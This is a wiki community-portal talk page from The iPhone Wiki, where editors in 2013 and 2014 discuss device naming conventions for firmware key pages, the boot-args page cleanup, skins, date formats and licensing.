:::::So most of you seem to agree on the the generic change now. But what is missing is the exact naming. We have three variations still in discussion:
:::::#"iPhone 4 (3,1)"
:::::#"iPhone 4 (iPhone3,1)"
:::::#"iPhone 4 3,1"
:::::#"iPhone 4 iPhone3,1"
:::::I just noticed that we cannot use the round brackets, because this entire part is already enclosed in round brackets - otherwise we would have nested brackets and in grammar I think you have to use square brackets which are not allowed in MediaWiki. So this leaves us with #3 and #4. #3 looks silly without the brackets, so we probably have to use #4 as [[User:Dialexio|Dialexio]] suggested. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:55, 1 January 2014 (UTC)
::::::I agree with #4, looks better as I feel that #3 needs some sort of brackets if we used that. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]])
::::::Wow, time really flies when you sleep all day. I've missed a ''lot''. Ok. I'm happy we decided to use the firmware moniker instead of something else. Personally, I don't like #1 because it just looks weird IMO. In addition, #1 and #2 would require the use of brackets (<code>(iPhone 4 [3,1])</code>) which would require the use of <code><nowiki/></code> all over the place, and that will get not only ugly, but annoying. I agree #3 looks weird. However, #4 just looks redundent. I personally would like just <code>iPhone3,1</code>, but if I would have to put my vote on one of those last two, it would be #4. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 08:20, 2 January 2014 (UTC)
:::::::One last comment: We could also just use "iPhone3,1" (leaving the leading "iPhone 4" completely away). That would have two advantages and two disadvantages:
:::::::*+ shorter
:::::::*+ future-proof; if we ever decide to rename the rest as well, this is the way to name it
:::::::*- somehow inconsistent with non-ambiguous other key pages (although ambiguous and non-ambiguous pages are different now anyway)
:::::::*- less easy to understand from the name what device it is (but the iOS version is also not directly visible)
:::::::--[[User:Http|http]] ([[User talk:Http|talk]]) 11:10, 2 January 2014 (UTC)

== Key page template ==
I actually like the idea of a database to an extent. I bet I could put together an extension that creates a [[Special:SpecialPages|special page]] that allows read access to everyone (and r/w access to users). Any edits to the key "pages" wouldn't cause a [[Special:RecentChanges|recent changes]] log. If we ever needed to update the layout, we would just need to update the extension. We could even have an API.
The only limitation is that updates to the extension would require either [[User:geohot|George]] or [[User:Dialexio|Alex]] needing to upload the fix. If we were to set up an external site, then all links to it would need to be wrapped with <code>...</code>.
Maybe a simple extension that takes links and redirects you to the external site? That could work. Like, we would have a link to, say, <code>[[<nowiki/>Special:Keys/iPad1,1/9A405]]</code> which would give an HTTP <code>301 Moved Permanently</code> header to, say, <code><nowiki>http://ioskeys.com/iPad1,1/9A405</nowiki></code>. Granted, someone would have to pay for the domain, but it would solve this problem. I may be able to pay for the domain if I make enough money by the time I finish writing everything. Any opposition? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 16:48, 21 November 2013 (UTC)
:I do not like the idea. I like the idea of the database to a degree, but I think that the pages should remain on this wiki. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:03, 21 November 2013 (UTC)
::I don't see this solving any problem— the backlash against changing the key page template was because of (unnecessary?) changes to the arguments, and the frequency of how often such changes were being proposed/applied. How would a database prevent it? For instance, let's say the database columns are all decided on. Suddenly, it's decided that SHA-1 hashes should be added as well, or perhaps "VFDecryptKey" will be renamed to "FSKey." People submitting keys would still be bothered with having to adjust for those changes. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)
:::That with the database is something I'll implement anyway (if not someone else is faster, as I'm quite busy). I just threw that in here as it might solve the problem of the frequent template updates (which is/was wrong anyway). From there it would be easy to create the VFDecrypt page with an overview link or lists of missing keys and that stuff, so the wiki would not need any direct links. But it would mean that we either completely remove all keys here from the wiki and embrace that solution or have them still duplicate (which then doesn't solve the problem). Dialexio: renaming columns can be handled without interface changes, but that's another topic. So let's forget about this database thing for now and we can discuss again when I have something. We certainly don't want to add extensions for that. So back to the discussion about the renaming: If I understood this correctly, you only want to rename A5+ devices and therefore no key pages would be affected. Is my understanding correct? --[[User:Http|http]] ([[User talk:Http|talk]]) 22:08, 21 November 2013 (UTC)
::::As long as the pages stay on this wiki, I do not mind. Although, a database could be pointless as with only 50 more pages to edit for the new format, there is no planned new format/changes again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:16, 21 November 2013 (UTC)
::::About the renaming, that is correct; I'm only interested in changing the cellular labels on A5/+ devices. (Well, the iPad 2 can remain as-is.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:02, 22 November 2013 (UTC)
:::::Oh, well that would just make things more complicated/inconsistent. We should do all or none. About the template idea, there is also no need as it is not likely we will change the format again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:35, 22 November 2013 (UTC)
::::::Do we really need to CHANGE THE FORMAT 50 TIMES IN A ROW? The old one before everything was messed with worked fine enough. [[User:Winocm|Winocm]] ([[User talk:Winocm|talk]]) 18:22, 27 November 2013 (UTC)
:::::::It was actually one change, which was completed. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 27 November 2013 (UTC)

==Login prompt revision suggestion==
I wrote a suggestion here: [[MediaWiki talk:Loginprompt]] (since I don't have permission to edit [[MediaWiki:Loginprompt]] directly) - I'd be interested in whether it sounds like a good idea to other people. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 01:00, 8 October 2013 (UTC)

==Homepage suggestions==
Under "Application Development", what about linking to [http://iphonedevwiki.net/index.php/Main_Page iPhoneDevWiki]? It's also a community-edited technical resource, and it links to this wiki. It could be helpful to add a little more detail to "Get [[up to speed]] in the community.", like this: "Get [[up to speed]] in the community - learn about how jailbreaks work." Under "Definitions", it could be helpful to list all the firmware tags in one line or sub-list, similar to how Jailbreak is organized next to Tethered jailbreak and Untethered jailbreak, both to save space and help readers understand the list. --[[User:Britta|Britta]] ([[User talk:Britta|talk]]) 23:01, 20 October 2013 (UTC)
:A link to the iPhoneDevWiki sounds good. I wonder if we should have an "External Links" or "Other Resources" section to include links to other sites (such as the [http://blog.iphone-dev.org/ iPhone Dev Team blog]) though. As for the "Up to Speed" page, I feel like the entire page could be reworked a bit— and perhaps even receive a new, clearer name ([[Introduction]]? [[Preface]]? Or something else?)— the current name makes it sound like it's for people that last paid attention to jailbreaking when the App Store didn't exist. And yeah, moving the IMG3 tags to a sub-list sounds like a really good idea. (Admittedly, I actually don't care for its inclusion in the first place, but that's just a personal preference.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:10, 21 October 2013 (UTC)
::There's already [[Useful Links]] with some links to other core community resources (which could be updated and rearranged) - I was just thinking that it'd be especially useful to link to iPhoneDevWiki prominently since it's likely for TheiPhoneWiki visitors to also be interested in relatively-organized technical information about development. Changing the name of "Up to Speed" sounds fine to me too - that page didn't get much attention since 2008 until I sort of commandeered it to serve as an "intro to jailbreaking" page. :) It could be renamed "getting started", as in "how to get started on learning about research into iOS devices, especially security research (such as jailbreaks)". [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:31, 21 October 2013 (UTC)
Also I'd love to see a dedicated section for "Good tasks for new editors", where we could maintain a list of relatively easy/straightforward suggested edits that wouldn't require vast technical knowledge, like updating that links page. Where would that go? Add it as a sub-section of [[The iPhone Wiki:Current events]] and link that section from the homepage or something? Or make a new page? [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:40, 21 October 2013 (UTC)

==What is 0x5265c384 in the boot process?==
Does anybody know where <code>0x5265c384</code> points to in the boot process? I haven't been able to find anything on it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 20:14, 23 October 2013 (UTC)

==License for contributions==
This wiki has never had an official license for contributions. Now, IANAL, but IIRC, this means that you can't use ''anything'' posted here unless it qualifies as fair-use. What I propose is that we set a license and add a notice that states that any contributions after a set date are to be licensed under that license (that's kindof a mouthful). I think we should use the [http://creativecommons.org/licenses/by-sa/3.0/ CC-by-SA 3.0] as [[wikipedia:Wikipedia:Text of Creative Commons Attribution-ShareAlike 3.0 Unported License|Wikipedia uses it]], but that's just me. Any ideas? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 19:53, 9 November 2013 (UTC)
:Well, the edit info already says all this:
Please note that all contributions to The iPhone Wiki may be edited, altered, or
removed by other contributors. If you do not want your writing to be edited mercilessly,
then do not submit it here.
You are also promising us that you wrote this yourself, or copied it from a public
domain or similar free resource (see The [[:The iPhone Wiki:Copyrights|iPhone Wiki:Copyrights]] for details). '''Do not'''
'''submit copyrighted work without permission!'''
For me, that's enough. I don't need a 50 page license. But if you want to formalize this more, go ahead. --[[User:Http|http]] ([[User talk:Http|talk]]) 20:35, 9 November 2013 (UTC)
:Sounds good. It's good practice to have an official license, just in case any disputes happen someday, and to ensure that it's OK to copy text over to Wikipedia (for example). [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 21:32, 9 November 2013 (UTC)

==Future plans==
Now that I have SSH access, I've begun working on making several, somewhat-overdue changes to the wiki. The Renameuser extension was reinstated, so admins can now rename accounts. If you have another account, that can also get merged into your current account. If you happen to get locked out from both your account and the email used is no longer active, I can run a script to reset your password. I've also begun implementing a very noticeable change— as users of the Vector skin have noticed, the iOS 6-based theming is gone. It's a semi-temporary move though; it's going into its own skin, because… you know, choice is cool. People who like the Vector skin may not have liked the iOS theming, especially since IE 9 and lower didn't display it completely accurately. Therefore, it's going into its own theme. Once that's done I also plan on making a separate iOS 7-based skin. If there are any further thoughts or suggestions on how to improve the wiki, do let me know! --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 22:18, 9 November 2013 (UTC)

==Banner Replacement?==
I kinda feel like the banner on the front page is getting a little stale, so I'm interested in seeing it replaced. I tossed a proposal [https://twitter.com/Draxelf/status/408295008794845184 on Twitter] a couple of days ago (which is admittedly plain, but Myriad Set…), but I haven't heard any opinions on replacing the banner. Are there any thoughts on this matter? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:42, 6 December 2013 (UTC)
:Or, [http://imgur.com/wJFqPl1 this]. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:22, 6 December 2013 (UTC)
:Looks nice in Myriad! More professional. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 04:01, 7 December 2013 (UTC)

==Date Format==
I see that [[User:IAdam1n|iAdam1n]] started to unify the date formats in this wiki. While I like this to be consistent, actually we should've talked about what format to use before changing it. I like the d_mon_yyyy format though. I also saw that he removed the <code>&nbsp;</code> between the date parts on the [[iFaith]] page that I added once purposefully. The reason was that when making the browser window small (or on the iPhone) that the date wraps to two lines, which is almost always undesired. The question is if we should do that everywhere too? Additionally, as we now seem to have a "standard" here, we should document it, so that new users know what format to use. -- [[User:Http|http]] ([[User talk:Http|talk]]) 17:42, 30 December 2013 (UTC)
:I just made it consistent. If you want the <code>&nbsp;</code> back, feel free to add it. I removed it as it did nothing (previewing on OS X). We should use the format I used throughout the wiki and not Dec 23, 2013 etc. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 30 December 2013 (UTC)

The iPhone Wiki:Community portal

2014-01-01T23:55:12Z

Http: /* "GSM" Replacement Proposals V2 */ updated page counts, new comment about naming

{{Talk Archive}}
{{see also|Unsolved problems}}
==iPhone-Elite==
I think we should include all this old stuff before it gets lost: [http://code.google.com/p/iphone-elite/ code.google.com/p/iphone-elite/]. I mean the wiki articles there. Most infos should be already here, but I'm sure a lot of things are missing too.
--[[User:Http|http]] 15:02, 26 June 2012 (MDT)

==Boot-args cleanup==
We need to clean up the boot-args pages. First the technical part: What I understand is that iBoot loads the kernel. And when loading it, it can pass some parameters to select certain behavior. So this only works with an iBoot or bootrom exploit. I understand that in earlier firmware versions there was simply an iBoot variable, but that doesn't exist or work anymore, now passing theses args requires a different or patched iBoot. There are various parameters in different kernel versions. The description for these arguments is scattered over various places:
*[[Kernel#Boot-Args]] A section with the latest boot arguments list. This should be a short introduction and having a link "main article".
*[[Boot-args (iBoot variable)]] separate page for boot arguments, but mainly for the iBoot variable that doesn't exist any longer
*[{{FULLURL:Boot arguments|redirect=no}} Boot arguments] (redirect)
*[[:Talk:Restore_Mode]] describing the iBoot variable problem
*Various pages referencing boot-args, like [[Research: Re-allowing unsigned ramdisks and boot-args with the 2.* iBoot]] (here we should have a link on the second title)
*My earlier comment [[:Talk:Kernel#boot-args]]
*This comment here.
So what do we want to do about this mess? I suggest to move the current [[Kernel]] content to the redirect page [[Boot arguments]] (or to another new page, maybe [[boot-args]]). The current content of [[Boot-args (iBoot variable)]] and all other content should get merged into there. Then change all references to this new page and on the [[Kernel]] page write just something short with "main article there". What do you think? --[[User:Http|http]] ([[User talk:Http|talk]]) 21:31, 13 February 2013 (UTC)
:I like [[Boot Arguments]]. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 02:01, 14 February 2013 (UTC)
::One addition: Maybe we should use [[boot-args]] as the main page, because all links are written like that. --[[User:Http|http]] ([[User talk:Http|talk]]) 07:37, 14 February 2013 (UTC)

==The iPhone Wiki re-design==
The design of the iPhone wiki is now quite old and I think it should be updated. I made a [http://oi42.tinypic.com/30ib9y8.jpg concept]. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:30, 14 June 2013 (UTC)
:I disagree. If anything add an iPhone 5 to the logo but everything else is ok. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 11:05, 14 June 2013 (UTC)
:I wouldn't change the logo to an iPhone 5, especially with iOS 7 and a new iPhone (that will probably look the same as the 5, admittedly) around the corner. I contemplated updating the CSS for iOS 7's UI but decided not to because of the UI's supposed volatility (during the beta period) and I don't have a live version to toy around with. (I personally don't like its current state, but that's not a factor in why I'm not changing it yet.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:25, 14 June 2013 (UTC)
::Can we not do flat? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 21:02, 14 June 2013 (UTC)
::This is what I was thinking. When iOS 7 finally comes out, we could change the CSS to look like that instead. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:11, 14 June 2013 (UTC)
:::iOS 7 looks ugly. We do not want it like that. Maybe a bit more modern but nothing much. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:16, 14 June 2013 (UTC)
::::''You'' may not want it like that. That's your opinion. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:55, 15 June 2013 (UTC)
:::::We could make a poll, and see if most users agree or disagree. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:05, 15 June 2013 (UTC)
:The idea looks nice. But before we make any changes, let's wait until iOS7 comes out. And I'd prefer to just add another skin instead (if possible). I'm still using the classic MonoBook skin by the way. You shouldn't impose design changes to everyone. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:38, 15 June 2013 (UTC)
::The problem with skins is that geohot needs to set them up... An idea I have is that we copy the Vector skin verbatim to a new skin (<code>iOS6</code>) and move the modifications (not general stuff) to [[Mediawiki:iOS6.css]]. Then we can do another verbatim copy to <code>iOS7</code> and modify [[Mediawiki:iOS7.css]]. We could then set the default skin to either <code>iOS6</code> or <code>iOS7</code> so you don't need to be logged in to see them like currently. Then if someone doesn't like them, like you, just change your settings to your preferred skin. The only way around needing geohot is if he opens up the credentials to FTP or whatever to someone. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:17, 15 June 2013 (UTC)
:::I like [[User:5urd|5urd]]'s suggestion. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:29, 15 June 2013 (UTC)
What about just removing the text-shadow element for now? I think pages would be easier to read without it. Here's an example: [[:File:Noshadow.png]]. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:11, 29 August 2013 (UTC)
:Yeah removing the shadow will make everything seem more flat but like [[User:http|http]] I'm still using the classic [http://theiphonewiki.com/w/index.php?title=Main_Page&useskin=monobook MonoBook skin] --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 21:19, 31 August 2013 (UTC)

==Hacker page==
I would like to be added to the list of hackers for my work with the Private Dev Team and the [[Chronic Dev (team)|Chronic Dev Team]] in addition to my release of the Phoenix Semi-Untethered. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 18:36, 22 July 2013 (UTC)
:Did you find any exploits? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 18:54, 22 July 2013 (UTC)
::No. [[User:phyrrus9|phyrrus9]], a team member found the vulnerability. I am the one who exploited it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]])
:::I can back up this "claim". I was a part of it. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:52, 28 July 2013 (UTC)
::::Whatever happened to this? --[[User:Phyrrus9|phyrrus9]]

==Orphaned articles==
This is an interesting search: [[Special:LonelyPages]] - "The following pages are not linked from or transcluded into other pages in The iPhone Wiki." I'm not sure where all of those articles should be linked, but figuring that out could be a useful project for somebody. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 05:57, 28 August 2013 (UTC)

==Easy tasks for new editors==
* Finish converting the remaining error codes listed here [[MobileDevice_Library#Known_Error_Codes]] into the proper mach_return_t codes they should be displayed as. (convert the negative number listed into hex, strip any leading "FF" so it should be in the format "0xe80000" followed by two numbers) --[[User:Dirkg|Dirkg]] ([[User talk:Dirkg|talk]]) 22:40, 28 August 2013 (UTC)

== A1XXX model numbers vs. "GSM"/"CDMA"/"Global"/"Cellular"/etc. ==
I know that this topic was [[The iPhone Wiki:Community portal/2013#iPhone 5|already discussed earlier this year]], but it didn't seem to come to a consensus, and the introduction of the [[iPhone 5c]] and [[iPhone 5s]] brought a lot of model numbers. Some of them may "overlap" (think models A1429 and A1442 for the [[iPhone 5]]), but there's simply too many to give names to. There are at least two that can connect to CDMA networks, and all of them can connect to GSM. In addition, with the sheer amount of models, it doesn't seem likely for one model to be treated as a "global" model. Therefore, I changed the iPhone 5c to use model numbers. I would like to do the same to some of the devices that are already present on the wiki though— the same ones from when I first brought up this idea. The GSM/CDMA names work very well for the [[iPad 2]] and [[iPhone 4]]. Things are slightly murkier for the [[iPad 3|iPad (3rd gen.)]], [[iPad 4|iPad (4th gen.)]], [[iPad mini 1G]], and [[iPhone 5]] though; all of those devices' cellular models can connect to GSM networks, so it seems like nonsense to call some of them the "GSM model." The A1XXX model numbers are also how Apple tells the difference between the different models of these devices. Have any opinions changed? Or perhaps someone new might have something to say about this? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 06:06, 13 September 2013 (UTC)

:I actually like the idea as it does get complicated now with the new devices coming like said and we would have to do this for all devices. Although, if we did this, we would have to move all the key pages that have keys on to support this. That would not be a big problem as we could limit the moves to say 20 per day. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:47, 13 September 2013 (UTC)

:I suggest we wait a bit until we see what models of the [[iPhone 5c]] and [[iPhone 5s]] will exist. But in general, I like the idea of using only the A1nnn numbers. The only issue I see right now is that Apple differentiates between A1532 GSM and A1532 CDMA. If there are real hardware differences between these two, then we're screwed again. That's why I suggest to wait until we know these exact model types. On the disambiguation page I added the GSM/CDMA model differentiation already (as Apple does). If they turn out to be the same, we can remove it again, but I wonder why Apple lists two models (with different bands supported) there now. Someone also added the "CDMA" mark to one of the others, but that's not how Apple marks them, so I suggest to remove that mark there again. If everything can be differentiated by these A-model-numbers, then yes, we should change the old pages too. Including all key pages. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:44, 13 September 2013 (UTC)

::I do know there are 2 CDMA and 3-4 GSM for the [[iPhone 5c]] alone. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:04, 13 September 2013 (UTC)

:::Ahem… ''All'' of the iPhone 5c models can do GSM communications. Hence one of the reasons why I want to ditch the "GSM"/"Global"/etc. labels in favor of A1XXX model numbers. ;P --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:07, 13 September 2013 (UTC)

::::One thing is, what about iPod touch 5 as that has two model numbers that are the same device, same with iPhone5,2. How would we get around that? I suppose we could like both separated with a forward slash. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:19, 13 September 2013 (UTC)

:::::Yeah, we could just use something like "[[n42ap|iPhone 5 (Model A1429/A1442)]]." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 22:45, 13 September 2013 (UTC)

::::::Yeah I thought that but what about the iPhone 4 GSM and GSM Rev A? They both seem to be A1432. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:10, 13 September 2013 (UTC)

:::::::This is why I'm against using the A1XXX model numbers instead of the current GSM/Global thing. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::::::::I had no plans to change the way we refer to the iPhone 4 or iPad 2 (Apple does use GSM/CDMA, and for those devices it works fine). If a new iPhone 5S revision comes along, Apple will probably refer to it as a "Rev A" thing, and so will we. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:Referencing Adam's reply above, if we had took that to the key pages, it'd be <code>[<nowiki/>[{BuildTrain} {Build} (A1432)]]</code> which would mess ''everything'' up. What could we do? Use <code>[<nowiki/>[{BuildTrain} {Build} (A1432 Rev A)]]</code>? No. That doesn't look good. The current way of referring to everything by their supported network type (GSM/CDMA/Global) helps in going to a different page.
:Let's say I'm on [[BrightonMaps 10B329 (iPhone 4 GSM)]] and I want to go the CDMA device. What do I do? Go to the URL and replace <code>GSM</code> with <code>CDMA</code>. With the model numbers, I'd have to navigate to [[Firmware]], then find the link, or find out what the model number of the CDMA variant is and replace the model number in the URL with that. 
:Ok, who navigates by the URL and search bar? ''I do''. And I'm sure there's '''many''' people out there that prefer to navigate with the search bar if they know the page name. If we go by model number, the AJAX search results just list pages with a model number in parenthesis. '''How does that help'''? I'd either have to ''know'' the model number of the device I want, or visit ''each one'' until I find the page I need.
:Sorry for the rant, but I am '''strongly''' against this. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::I do suppose we could just trash the buildtrain all together to shorten it down too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:32, 13 September 2013 (UTC)

:::Dropping the Build Train would only ''increase'' the workload. Besides, what's the harm with it? We've been using the same page title structure since forever, and it's worked. "''If it ain't broke, don't fix it''". The current system works, so ''why'', other than the fact that Apple refers to them differently, should we change this? In addition, we don't refer to everything the way Apple does. The [[iPad mini 1G]] is referred to as the "iPad mini". The [[iPad 3]] is refered to as "The New iPad". The [[iPad 4]] is refered to as "iPad with Retina Display"[http://www.apple.com/ipad/compare/]. Are the key pages titled <code>BrightonMaps 10B329 (The New iPad, Wi-Fi+3G for AT&T and Verizon)</code>? No. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:37, 14 September 2013 (UTC)

::::But the reason we want to not use the variants is because the new devices that are coming out are breaking he structure and also CDMA versions can use GSM in the 5c plus we have like 4 for GSM alone. I only meant drop buildtrain to shorten the urls down. For the iPhone 4 GSM Rev A we would have to list it as <code>iPhone 4 A1432 Rev</code> unless another idea is thought of. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:55, 14 September 2013 (UTC)

:::::No. Anything involving moving key pages to change their title I am ''completely'' against. As for the iPhone 5s and iPhone 5c, we ultimately have to wait. There may be different types, but if they all work with the same firmware, then what do we do then? Use <code>A1456/A1504</code>? I don't want to do that. It can get confusing in the future if that list were to be huge. With ''5'' different models for the iPhone 5c ''alone'', it's just not practical. For the fact that all support GSM, but not all support CDMA, we just do what we've ''been'' doing: "GSM" and "Global". --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:22, 14 September 2013 (UTC)

::::::There's nothing wrong with changing the titles of pages that don't even exist though. If *all* of the models use the same firmware, just go with "iPhone 5s." If they happen to be partitioned into two different firmwares again, that will certainly complicate things, but it wouldn't be worse than nonsense like "GSM," "GSM [<nowiki />Global]," "CDMA," "CDMA [<nowiki />Global]," or "GSM [<nowiki />Global Plus TD-LTE]." If it's just one oddball, we could just have "iPhone 5s" and "iPhone 5s A1XXX" (whatever the odd one is), and include a link on the former page to say "keys for model A1XXX are on this page." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::::I probably didn't phrase that well… I wasn't thinking of how Apple markets the product, but rather more along the lines of how they refer to it in, say, the tech specs page or support documents— the pages that shows the messier side to their simple sugar coating. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::You keep misinterpreting/misrepresenting what I'm proposing. I never said anything about dropping, say, "iPhone 5" so firmware page titles would look like [[Sundance 10A405 (A1428)]]. I want to change the GSM/Global part to the A1XXX number, so it would probably show like [[Sundance 10A405 (iPhone 5 A1428)]]. (If a hardware revision were made, it would probably look like [[Sundance 10A405 (iPhone 5 A1428 Rev A)]].) From time to time, I edit URLs to browse the wiki too. But the GSM/Global identifiers don't work that well; again, '''all iPhone 5 models can connect to GSM'''. That's not really helpful. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:::I suggest we drop the A and use Rev. As for the idea of changing to A1XXX, I see no issues and am for the idea. I admit it can cause chaos when we move the pages but we could limit the moving per day of course. Overall, I think it will be worth it. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 10:01, 14 September 2013 (UTC)

::::No. Don't drop the <code>A</code> from <code>Rev A</code>. Why would you even think to? You want to call them what Apple calls them, and the [[n90bap|revised iPhone 4 GSM]] is referred to with <code>Rev A</code>. In addition, there have been <code>Rev ''B''</code> things before, such as the [[S5L8947]] (A5 Rev B) used in the [[j33iap|revised Apple TV 3G]]. In addition, think of all the redirects we would need to keep for sites that link to key pages directly. I have even seen sites that still link with the URLs as <code>/wiki/index.php?title={Title}</code> instead of the year old change to <code>/wiki/{Title}</code>. The wiki handles that internally for us, but the redirects made in the moves would have to be kept. Currently, only the [[iPhone 5]] and [[iPad 4]] are the only devices referred to by their model numbers. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

:::That's why I don't want to change it. It's worked for us, and we have no idea how the new firmwares will be handled. I am betting that there will only be two firmware types - one for the GSM, and one for the Global (GSM+CDMA) model. The only reason they are split, IIRC, is because AT&T uses different LTE bands than rest of the GSM world.
:::Ultimately, the GSM/CDMA/Global monikors haven't caused any ''naming conflicts''. Ok, you don't want to use the ''marketing'' title. What about the way they are referred to on [[Apple Developer Center|ADC]], because that seems to be what you want. I may be misreading what you're saying again, but if we're going to do that, let's use their ''full'' title. Something <code>(iPad [4th generation Model A1458])</code> (iPad 4 Wi-Fi) and <code>(iPad Wi-Fi + Cellular [model for Verizon])</code> (iPad 3 Global). Does the first one tell you if the device is Wi-Fi or a Wi-Fi+3G model? Does the second one tell you ''at all'' that it is an [[iPad 3]], or that it supports GSM? No.
:::Apple has a history of being inconsistent. For example, the iPad 3 Wi-Fi is referred to on ADC (and iTunes) as "iPad Wi-Fi (3rd generation)" while the iPad 3 GSM is referred to as "iPad Wi-Fi + Cellular [model for AT&T]". What happened to the "3rd generation"? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

::::We could always list as <code>iPhone 4 (iPhone3,1)</code> etc instead if that would be better. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:13, 14 September 2013 (UTC)

::::Why is there a need to explicitly keep "Wi-Fi" in a key page's title? All you need is a way to distinguish what model it is from its other variants— the A1XXX model number does just that. It's not like we referred to the AppleTV3,2 as "Apple TV 3G (New Single-Core A5)" or something. And obviously, we can use common sense to address the 3rd generation iPad issue you brought up… Now you're just nitpicking. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 05:28, 15 September 2013 (UTC)
:::::Actually, I think we should wait until we see the firmware for iPhone 5c/5s and then decide. TBH, as [[User:5urd|5urd]] said, it is ok as it is but of course if once the new firmware is out it is more confusing, then we can think again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 14:12, 15 September 2013 (UTC)

:::::Come to think of it, we can use a mix of both; we can keep the "Global" moniker, but drop the "GSM" moniker in favor of the A1XXX model number. (The "GSM" moniker is the one that's been bothering me.) I think this works well for the iPad 3 (which is actually split into "CDMA" and "Global—" it probably doesn't need to be done for this), iPad 4, iPad mini 1G, and iPhone 5, but this leaves the question of what to do for the iPhone 5C/5S. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:04, 19 September 2013 (UTC)

::::::That would look worse! If we are going to do it, we have to do it for '''''all'''''. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:40, 19 September 2013 (UTC)

:::::::What is the status on this now? --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:18, 9 November 2013 (UTC)

